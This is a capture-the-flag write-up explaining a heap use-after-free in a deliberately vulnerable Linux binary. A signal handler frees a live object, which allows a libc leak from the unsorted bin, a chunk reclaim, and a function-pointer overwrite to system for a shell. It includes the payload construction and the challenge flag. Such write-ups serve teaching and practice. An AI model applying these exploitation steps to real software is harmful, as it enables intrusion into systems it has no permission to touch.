Flash CTF - We Interupt This Program

We Interrupt This Program

Overview

we-interrupt-this-program is a 64-bit Linux heap challenge. You're talking to a small "broadcast console": draft a bulletin, pick a format, air it. Full RELRO, PIE, NX, stack canary — no stack smash, no GOT write. The bug is a UAF, and it's not in the menu. A SIGALRM handler frees the live global object and never clears the pointer. After that it's leak libc from the unsorted bin, get the chunk back, point a function pointer at system.

Background

A signal handler runs whenever the kernel feels like it and interrupts whatever the process was in the middle of. Only async-signal-safe functions are legal there. free() and the rest of malloc are not — a signal can land mid-allocator and wreck the heap. Even when it doesn't, a handler that frees an object the rest of the program still uses is a UAF.

The rest is ordinary glibc. Small frees go to the per-thread tcache, but tcache only takes chunks up to 0x410. A larger chunk that isn't next to top goes on the unsorted bin, and glibc writes the bin fd/bk pointers into the first 16 bytes of user data. Those pointers live in main_arena, so reading them back leaks libc.

Reconnaissance

Source is in the download, so I started in wirtp.c. The object and the global that points at it:

struct bulletin {
    char           text[MSG_CAP];               // +0x000 : on-air copy (0x500 bytes)
    void         (*render)(struct bulletin *);  // +0x500 : format callback
    unsigned long  id;                          // +0x508
    int            fmt;                          // +0x510
};
static struct bulletin *cur;                    // the global the handler frees

sizeof(struct bulletin) is 0x518, which malloc rounds to a 0x520 chunk — past the 0x410 tcache cutoff. Then the watchdog:

static void we_interrupt(int sig) {
    write(STDOUT_FILENO, msg, sizeof(msg) - 1);
    free(cur);              // frees the live global; pointer left dangling
}
...
sigaction(SIGALRM, &sa, NULL);
alarm(AIR_SECS);            // fires once, 8 seconds in

Nothing in the menu frees a bulletin. The only free in the binary is that alarm handler, about eight seconds after you connect, and it leaves cur dangling. Every menu option after that is using freed memory. These two are the useful ones:

case 4:  // "Read back the raw feed" — dumps 16 raw bytes of cur->text
    for (int i = 0; i < 16; i++) printf("%02x", (unsigned char)cur->text[i]);

case 5:  // "File a wire report" — malloc(sizeof(struct bulletin)) + read into it
    char *scratch = malloc(sizeof(struct bulletin));
    read(STDIN_FILENO, scratch, sizeof(struct bulletin) - 1);


Option 4 reads the freed chunk. Option 5 mallocs the same size and lets you fill it, so you can get the chunk back.

Mitigations:

$ checksec --file=./wirtp
RELRO: Full RELRO   Stack: Canary found   NX: NX enabled   PIE: PIE enabled

Full RELRO and PIE mean you need a libc leak, not a GOT write. Unsorted bin will do that.

Exploitation

I connected and waited. After about eight seconds the handler prints its notice and frees cur:

$ nc <host> <port>
...
>
*** We interrupt this program for an emergency bulletin. ***
*** The current draft has been pulled from the broadcast queue. ***

The freed 0x520 chunk is in the unsorted bin, so the first bytes are a main_arena pointer. Option 4 dumps them:

> 4
Raw feed: e0eb8f4dfb7f0000...

Little-endian, that's 0x7ffb4d8febe0. For a single chunk in the unsorted bin the leaked value is main_arena + 0x60, and main_arena sits 0x10 past __malloc_hook in this libc, so:

libc_base = leak - (malloc_hook_offset + 0x10 + 0x60)

system is a fixed offset from there. Option 5 does malloc(0x518). Unsorted bin has an exact-fit chunk, so that returns the same chunk cur still points at. Bytes you send are the live bulletin. "/bin/sh" at offset 0, system at offset 0x500 (render):

payload = b"/bin/sh\x00" + b"\x00" * (0x500 - 8) + p64(system)

The callback is:

case 3:
    cur->render(cur);   // the object pointer is passed as the first argument

cur->render is system, and cur (in rdi) points at the "/bin/sh" at the top of the struct. Air it and you get system("/bin/sh"):

> 3
Airing bulletin #1 ...

Shell.

Getting the Flag

Read the flag from the working directory the service runs in:

cat flag.txt
SkillBit{3m3rg3ncy_4l3rt_7h3_cr0wn_f14g5_h4v3_b33n_5t0l3n}

Key Takeaways

  • The free isn't in the menu. It's a SIGALRM handler calling free() — not async-signal-safe — and leaving cur set. That's a UAF even though the program is single-threaded.
  • Size picks the bin. Keep the struct above tcache and the free goes unsorted, which means a libc pointer sitting in a chunk you can still read.
  • obj->fn(obj) already puts the object in rdi. "/bin/sh" at the start of the struct plus a function-pointer overwrite is system("/bin/sh"). No gadgets.

Interested in joining our team? Let’s connect!